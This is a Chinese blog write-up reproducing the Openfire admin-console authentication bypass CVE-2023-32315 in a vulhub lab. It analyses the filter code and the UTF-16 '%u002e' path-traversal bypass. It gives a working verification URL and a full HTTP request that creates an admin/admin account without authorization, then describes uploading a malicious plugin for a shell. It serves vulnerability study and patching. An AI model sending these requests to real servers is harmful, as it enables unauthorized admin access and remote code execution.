CVE-2023-32315 Openfire管理后台认证绕过漏洞复现

CVE-2023-32315 Openfire管理后台认证绕过漏洞复现

3.10.0 <= Openfire < 4.6.8

4.7.0 <= Openfire 4.7.x < 4.7.5

1.简介

Openfire

openfire是免费的、开源的、基于XMPP协议的即时通讯框架、采用Java编程语言开发的实时协作服务器,spark是pc客户端应用,类似qq客户端。smack提供了与XMPP服务通信的开发库。在实际应用中,可以只用openfire+smack做二次开发。

漏洞描述

在Openfire版本4.7.4和4.6.7及以前,Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。我们可以借此漏洞未授权创建管理员用户,并结合后台自定义插件的上传,达到RCE。

2.环境搭建

使用vulhub直接拉取镜像,启动

image-20230625213303615

3.漏洞分析

此漏洞是CVE-2008-6508的绕过,Openfire管理后台中曾被发现一处路径穿越漏洞,攻击者可以利用/setup/setup-/../../[page].jsp来绕过权限校验并访问任意后台页面。

Openfire存在一个filter,其允许使用通配符,将某些URL从Web认证中排除。

在存在漏洞的4.7.4版本中,xmppserver/src/main/webapp/WEB-INF/web.xml配置文件的相关内容如下。其本意是符合此规则的文件,如登录页面、首次安装页面、静态图片/CSS文件等,请求它们,便无需进行Web认证。

<filter>
  <filter-name>AuthCheck</filter-name>
  <filter-class>org.jivesoftware.admin.AuthCheckFilter</filter-class>
  <init-param>
    <param-name>excludes</param-name>
    <param-value>
      login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
    </param-value>
  </init-param>
</filter>

我们来看一下此filter的具体实现,其位于org.jivesoftware.admin.AuthCheckFilter#doFilter

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
    HttpServletRequest request = (HttpServletRequest) req;
    HttpServletResponse response = (HttpServletResponse) res;
    // Do not allow framing; OF-997
    response.setHeader("X-Frame-Options", JiveGlobals.getProperty("adminConsole.frame-options", "SAMEORIGIN"));
    // Reset the defaultLoginPage variable
    String loginPage = defaultLoginPage;
    if (loginPage == null) {
        loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ? "/loginToken.jsp" : "/login.jsp");
    }
    // Get the page we're on:
    String url = request.getRequestURI().substring(1);
    if (url.startsWith("plugins/")) {
        url = url.substring("plugins/".length());
    }
    // See if it's contained in the exclude list. If so, skip filter execution
    boolean doExclude = false;
    for (String exclude: excludes) {
        if (testURLPassesExclude(url, exclude)) {
            doExclude = true;
            break;
        }
    }
    if (!doExclude) {
        WebManager manager = new WebManager();
        manager.init(request, response, request.getSession(), context);
        boolean haveOneTimeToken = manager.getAuthToken() instanceof AuthToken.OneTimeAuthToken;
        User loggedUser = manager.getUser();
        boolean loggedAdmin = loggedUser == null ? false : adminManager.isUserAdmin(loggedUser.getUsername(), true);
        if (!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
            response.sendRedirect(getRedirectURL(request, loginPage, null));
            return;
        }
    }
    chain.doFilter(req, res);
}

简单分析一下代码,for循环遍历excludes中的元素带入testURLPassesExclude方法执行,如果结果为true,则绕过鉴权,否则跳转到登录页面

image-20230625222306764

在testURLPassesExclude方法中,存在CVE-2008-6508的漏洞,对于CVE-2008-6508的修复,也就是存在CVE-2023-32315 漏洞的版本,官方代码如下,可以看到是过滤了..和%2e

public static boolean testURLPassesExclude(String url, String exclude) {
    // ...
    // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
    // character then the URL is allowed if it exactly matches everything before the * and there are no ".."
    // characters after the "*". All data in the URL before

    if (exclude.endsWith("*")) {
        if (url.startsWith(exclude.substring(0, exclude.length() - 1))) {
            // Now make sure that there are no ".." characters in the rest of the URL.
            if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                return true;
            }
        }
    }
    // ...
    return false;
}

但是此串代码已使用了10多年,由于后来内置的Web服务器的升级,引入了对UTF-16字符支持的非标准URL,而前面的防护策略并没有考虑到这一点,也导致我们可以使用UTF-16字符来绕过路径穿越的防护,再次造成路径穿越漏洞:/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp

4.漏洞利用

漏洞验证

启动openfire服务器后,访问

http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

image-20230625214353009

成功未授权访问日志文件,证明存在Openfire管理后台认证绕过漏洞

未授权创建用户

就下来调用接口未授权创建管理员用户 admin/admin

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=admin&name=&email=&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1
Host: localhost:9090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: csrf=csrftoken

image-20230625220147271

创建后成功登录后台,获得管理员权限

image-20230625220218511

后台上传插件实现RCE

登录创建的管理员用户后,可以上传一个新插件的Jar包,即可完成getshell。 这个Jar包可以直接修改开源的插件源码,添加进自己的自定义代码。这里我们使用p牛写的恶意插件完成getshell

使用mvn构建打包成jar文件,

mvn clean package

直接上传此插件

image-20230626001505625

成功getshell

image-20230626001541711

5.修复建议

升级版本至4.6.8或4.7.5及以上

https://github.com/igniterealtime/Openfire/releases

Reference

https://github.com/vulhub/vulhub/blob/master/openfire/CVE-2023-32315/README.zh-cn.md

https://github.com/vulhub/openfire-fastpath-plugin

https://0xf4n9x.github.io/2023/06/14/CVE-2023-32315-openfire-auth-bypass/index.html

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇